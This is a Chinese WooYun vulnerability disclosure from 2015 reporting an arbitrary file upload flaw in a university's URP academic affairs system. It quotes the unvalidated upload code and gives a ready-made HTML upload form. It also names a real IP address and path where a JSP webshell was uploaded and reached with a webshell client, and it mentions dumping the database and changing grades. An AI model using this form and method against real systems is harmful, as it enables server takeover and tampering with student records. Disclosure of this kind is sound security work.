当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092108

漏洞标题:西北工业大学教务处urp可以getshell

相关厂商:西北工业大学

漏洞作者: yibeizifd

提交时间:2015-01-16 15:33

修复时间:2015-01-21 15:34

公开时间:2015-01-21 15:34

漏洞类型:网络设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-16: 细节已通知厂商并且等待厂商处理中
2015-01-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

学弟发现存在通杀urp漏洞,所以后续我来进行检测,发现果然getshell,影响很大,来一发

详细说明:

这个系统使用了Smartupload组件,先来看下lwUpLoad_action的部分源码。

<script language="javaScript" type="">
//转向
function doAction(type){
document.forms[0].action="uploadLwywAction.do?actionType=upload&returnStr="+type;
//alert(document.forms[0].action);
document.forms[0].submit();
}
</script>
</head>
<body>
<form method="post" action="/uploadLwywAction" >
<%
SmartUpload mySmartUpload = new SmartUpload();
mySmartUpload.initialize(pageContext);
mySmartUpload.upload();
//int fileSize=mySmartUpload.getSize();
File file=mySmartUpload.getFiles().getFile(0);
Request req=mySmartUpload.getRequest();
//扩展名
String fileExt=file.getFileExt();
String realPath=request.getRealPath("/lwUpLoadTemp");
String fileName=req.getParameter("xh")+"."+fileExt;
String filePath=realPath+"/"+fileName;
if(!file.isMissing()){
file.saveAs("/lwUpLoadTemp/"+fileName,mySmartUpload.SAVE_VIRTUAL);
}
String returnStr=TestBean.uploadLwyw(filePath,req);
//根据返回值 判断操作
if(returnStr.equals("yes")){%>
<input type="hidden" name="zxjxjhh" value="<%=req.getParameter("zxjxjhh") %>">
<input type="hidden" name="tmbh" value="<%=req.getParameter("tmbh") %>">
<input type="hidden" name="xh" value="<%=req.getParameter("xh") %>">
<script type="text/javascript">doAction("yes")</script>
<%
}else if(returnStr.equals("full")){
%>
<script type="text/javascript">doAction("full")</script>
<%
}else {
%>
<script type="text/javascript">doAction("error")</script>
<%
}
%>


这个没有问题,主要看uploadlwyw.jsp的一部分代码这个部分,在这里也没有限制上传类型,当然还得看后端的处理

String action = httpServletRequest.getParameter("actionType");
if (action.equals("upload"))
return upload(actionMapping, actionForm, httpServletRequest, httpServletResponse);
public ActionForward upload(ActionMapping actionMapping, ActionForm actionForm, HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse)
{
UploadLwywForm form;
UploadLwywForm uploadLwywActionForm = (UploadLwywForm)actionForm;
HttpSession session = httpServletRequest.getSession(false);
UserInforVO userInfor = (UserInforVO)session.getAttribute("userInfor");
form = (UploadLwywForm)actionForm;
if (isSuccess.equals("yes"))
{
String zxjxjhh = form.getZxjxjhh();
String tmbh = form.getTmbh();
String xh = form.getXh();
LwLwxxbId lwLwxxbId = new LwLwxxbId(new LwXtb(new LwXtbId(new LwTmxxb(new LwTmxxbId(zxjxjhh, tmbh)), xh)));

后端没有处理啊,是个任意文件上传。写个表单就好了.

<form action="http://x.x.x.x/lwUpLoad_action.jsp" method="post" enctype="multipart/form-data" >
<input type="file" name="theFile" id="File"/>
<input type="text" name="xh" id="context"/>
<input type="submit" value="show me the shell" >
</form>

,然后需要改的地方很明显了,就是自己urp的url

漏洞证明:

首先将表单后缀改成html打开

QQ图片20150113135353.png

,然后上传一个jsp小马,在show the shell处改变自己的小马地址
用菜刀连接http://222.24.192.69/lwUpLoadTemp/123.jsp,拿到getshell

QQ图片20150115200043.jpg

后续可以脱裤,修改成绩什么的,由于我是一名白帽子,所以提交给乌云了,不敢违法的事,影响还是很大的。

修复方案:

修复的话在后端action做验证吧,做个上传类型验证限制,上一次提交说我没有url,我就只好再发一次了,至此给通过吧,我只想要一枚邀请码,肉肉姐,我一直默默关注你偶

版权声明:转载请注明来源 yibeizifd@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-21 15:34

厂商回复:

最新状态:

暂无